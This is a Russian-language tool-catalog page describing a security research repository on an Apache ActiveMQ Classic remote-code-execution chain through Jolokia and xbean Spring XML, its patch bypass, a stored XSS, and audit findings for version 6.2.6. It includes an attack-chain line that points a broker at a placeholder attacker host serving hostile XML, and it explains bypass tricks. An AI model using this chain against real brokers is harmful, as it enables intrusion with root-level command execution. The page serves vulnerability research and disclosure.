Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
apache-activemq-rce-research — Apache ActiveMQ Classic RCE исследование: CVE-2026-34197 / CVE-2026-42588 цепочка обхода + результаты аудита hardened-6.2.6 + сравнение с Crowdfense | Kitploit
Инструменты/GitHubGitHub/dinosn/apache-activemq-rce-research
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubdinosn/apache-activemq-rce-research

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

apache-activemq-rce-research

Apache ActiveMQ Classic RCE исследование: CVE-2026-34197 / CVE-2026-42588 цепочка обхода + результаты аудита hardened-6.2.6 + сравнение с Crowdfense

Репозиторий
841 месяц назадЕщё не проверено

Apache ActiveMQ Classic — RCE-исследование

Личный исследовательский архив по цепочке удаленного выполнения кода (RCE) в Apache ActiveMQ Classic через Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 и обход патча CVE-2026-42588), а также полный аудит с автоисследованием исправленного релиза 6.2.6 и сравнение с публичным описанием обхода от Crowdfense.

Вся эксплуатация выполнялась против локальных тестовых брокеров (Docker / собственный хостинг). В нагрузках используются плейсхолдеры хостов атакующего.


Содержание

КаталогФазаЧто внутри
00-comparison-vs-crowdfense.mdСравнениеНаша работа vs. статья Crowdfense «ActiveMQ RCE Bypass», верифицировано по исходникам с указанием файла:строки
01-original-cve-2026-34197/Воспроизведение оригиналаАнализ + PoC-скрипты + Spring-XML нагрузки (лаб: activemq-classic:5.18.6)
02-reaudit-apr30/Матрица версийuid=0 на 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; оценка + PoC + version-matrix.sh
03-reaudit-42588-42253/Живой обходКомпозитный обход без скобок (42588) + XSS через MessageServlet (42253), воспроизведено вживую
04-audit-6.2.6/Полный аудитАудит с автоисследованием усиленной версии 6.2.6: финальный отчет + журнал находок

Деревья исходного кода и бинарные дистрибутивы вендора, использовавшиеся в лабораторных работах, намеренно исключены (они принадлежат вышестоящему проекту, не нам).


Уязвимость в одной строке

Аутентифицированный (неаутентифицированный на 6.0.0–6.1.1 через CVE-2024-32114) вызывающий Jolokia выполняет BrokerView.addNetworkConnector(uri) с поддельным discovery URI, внутренняя часть vm://…?brokerConfig=xbean:<url> которого заставляет брокера загрузить подконтрольный атакующему Spring XML, который немедленно инициализирует бин ProcessBuilder до проверки брокера → выполнение команд ОС.

root@kitploit:~
POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory динамическое создание брокера  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext загружает Spring XML  →  бин ProcessBuilder  →  RCE

Результаты

Главное: три находки доказаны вживую до root/XSS; аудит версии 6.2.6 добавляет более широкий набор, который верифицирован по исходникам и прошел adversarial-оценку, но не был детонирован вживую. Ни одна из дополнительных находок в 6.2.6 не является новым неаутентифицированным RCE — вендор закрыл эти двери; остаточный риск сместился в сторону авторизации и выходного кодирования.

Доказанная цепочка эксплуатации

Абсолютно новые из аудита 6.2.6 (верифицировано по исходникам)

Вне области — DoS (каталогизировано, не в заголовках)

Порядковое значение QoS MQTT AIOOBE (QoS.values()[ordinal], кросс-протокольно, без настройки) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException при распаковке OpenWire с signed-short · отрицательный AMQ_SCHEDULED_REPEAT → бессмертная задача.


Сравнение с материалом Crowdfense

Статья Crowdfense Apache ActiveMQ RCE Bypass описывает ту же цепочку (они относят её к CVE-2026-34197; мы выделяем обход как отдельный CVE-2026-42588). Оба описания сходятся на трёхуровневой защите; единственное расхождение — Уровень 2.

Одно упущение: трюк с процентным кодированием на Уровне 2 + UNC/WebDAV у них позволяет полностью удалённую доставку без примитива локальной записи. Ошибка классификатора, которую он использует (activemq-spring/Utils.java:123-129, грубая startsWith("file://") на нераскодированной строке) присутствует в нашем точном исходном коде — но удалённая половина работает только на Windows (Linux воспринимает //host/share как локальный путь), а наша лаборатория была на Linux, так что там это не было воспроизведено. В любом случае это не работает на 6.2.6 (ворота схемы VMTransportFactory отвергают xbean до запуска Utils).

Последующие действия: Windows-хостовый 5.19.6 (или любая сборка до 5.19.7/6.2.6) + слушатель SMB/WebDAV позволили бы нам продемонстрировать полностью удалённый обход белого списка — единственную возможность, которую статья имеет, но наше взаимодействие не показало.


Исправление (ActiveMQ 6.2.6)

Три коммита закрывают цепочку: c1b44af11 (проверка композитных URI без скобок — parseComposite безусловно + рекурсия), c2fc7a1d6 (блокировка XBeanBrokerFactory по умолчанию через белый список схем VMTransportFactory), и be8415f24 (усиление примера конфигурации: Jolokia на loopback, денлист операций с addNetworkConnector).

Скачать инструмент
IDНаходкаКлассСерьезностьАутентификацияДоказательство
CVE-2026-34197addNetworkConnector через Jolokia → xbean Spring-XML RCERCEКритическаяПосле аутентификации (без аутентификации 6.0.0–6.1.1)Вживую — uid=0 на 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7
CVE-2026-42588Композитный URI без скобок в обход денлиста 34197RCE (обход патча)КритическаяПосле аутентификацииВживую — uid=0 на 5.19.6 + 6.2.0 с патчем 34197
CVE-2026-42253Внедрение заголовка MessageServlet → хранимый XSSВнедрение / XSSСредняяПосле аутентификацииВживую на 6.2.0
IDНаходкаКлассСерьезностьАутентификацияПримечания
C1Пробел в денлисте static: → SSRF — static отсутствует в DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → исходящий TCP к брокеруSSRFСредняяАдминистратор / JMXВариант стока через тот же денлист 34197/42588, который описан в статье
B1IDOR удаления durable-подписки между clientId — removeSubscription привязан к переданному по сети clientId и не закрыт шлюзом в AuthorizationBrokerНарушение авторизации / IDORСредняяПосле аутентификации (без аутентификации, если аутентификация брокера выключена)Самый чистый абсолютно новый
B3LDAP пустой пароль → анонимное связывание (LDAPLoginModule, нет проверки на пустоту)Обход аутентификацииСредняя (условно)Без аутентификацииПри условии, что каталог принимает анонимные связывания
A1–A7Семейство внедрения в выходное кодирование консоли — подконтрольный атакующему MessageId.textView (OpenWire v10+ и AMQP) не экранируется примерно в 7 точках JSP/REST + обход пути FileSystemBlobStrategyВнедрениеНизкая–СредняяПроизводитель → администраторПо умолчанию ограничен CSP до внедрения HTML/контента
B2Повышение привилегий через внедрение двоеточия в Shiro WildcardPermissionПовышение привилегийНизкая–СредняяПосле аутентификацииShiro не по умолчанию
B4Асимметрия авторизации временных назначений: fail-open vs fail-closed для нетемповыхНарушение авторизацииНизкаяПосле аутентификацииПо замыслу (AMQ-4721); заметка об усилении
B5StatisticsBroker replyTo пропускает ACL на запись, если плагин упорядочен до авторизацииНарушение авторизацииНизкаяПосле аутентификацииЗависит от порядка конфигурации
B6НЕканонический DN при сертификатном входе (getSubjectDN().getName()) → коллизия идентичности среди сертификатов одного ЦСАутентификацияНизкаяБез аутентификации (проверено TLS)«Любой самоподписной сертификат» не работает
B7Подделка JMSXUserID при populateJMSXUserID=false (по умолчанию)ПодделкаНизкаяПосле аутентификации—
F5Имя исходящего заголовка STOMP никогда не экранируется → внедрение фрейма для подписчика в том же тенантеВнедрениеНизкаяКросс-протокольнаяSTOMP включен
УровеньЗащитаCrowdfense обходит её черезМы обошли через
1Денлист схем (исправление 34197)Композит без скобок static:vm://…То же — найдено независимо ✅
2Белый список xbean {file,classpath} (#1910)Процентно-кодированный file:%2f%2f… → Windows UNC → WebDAV → удалённая HTTP-выборкаЛокальный файл xbean:/tmp/evil.xml (требуется локальная запись)
3Ворота схемы VMTransportFactory (broker,properties, исправление 42588 / 6.2.6)Признано как окончательное решениеТот же вывод ✅